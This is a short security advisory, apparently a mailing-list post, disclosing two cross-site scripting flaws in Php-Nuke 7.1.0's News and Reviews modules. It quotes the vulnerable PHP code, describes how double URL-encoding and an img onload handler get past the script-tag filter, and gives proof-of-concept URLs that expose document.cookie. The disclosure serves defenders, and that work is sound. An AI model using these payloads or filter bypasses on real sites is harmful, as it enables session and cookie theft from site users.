Cross-Site Scripting (XSS) in Php-Nuke 7.1.0

[Abu Lafy <off@xxxxxxxxxxx>]

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (COntent Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of 
features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    If we look at Php-Nuke`s history, then we can find many cases reporting the 
XSS
in Php-Nuke. Most of them are fixed by now, when we have allready version 7.1.0
available. Despite this I found two new cases of XSS in Php-Nuke 6.x-7.1.0 , 
maybe in
older versions too. 


Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Let`s look at code from "/modules/News/friend.php" line 84-92 (Php-Nuke 
7.1.0):


function StorySent($title, $fname) {
    include ("header.php");
    $title = urldecode($title);
    $fname = urldecode($fname);
    OpenTable();
    echo "<center><font class=\"content\">"._FSTORY." <b>$title</b> 
"._HASSENT." $fname... "._THANKS."</font></center>";
    CloseTable();
    include ("footer.php");
}


If we deliver $title or $fname by GET or POST variable, then we have XSS
conditions here. But Php-Nuke will reject GET and POST requests with 
&lt;script&gt; tags.
One way to evade this filter is the using of <img src=foo onload=[code here]>.

There is better way to exploit the XSS, and it`s the using of partially or 
fully 
urlencoded ("hexed") script for exploit. And because we have lines

$title = urldecode($title);

and

$fname = urldecode($fname);

in original code, it will be urldecoded and will work for us, but GET or POST
filtering can`t recognize the "&lt;script&gt;" pattern.

Same problem has one more module - "Reviews".


Proof of concept examples:

http://f00bar.com/modules.php?name=News&file=friend&op=StorySent&title=%253cscript>alert%2528document.cookie);%253c/script>

http://f00bar.com/modules.php?name=Reviews&rop=postcomment&title=%253cscript>alert%2528document.cookie);%253c/script>



==================
Abu Lafy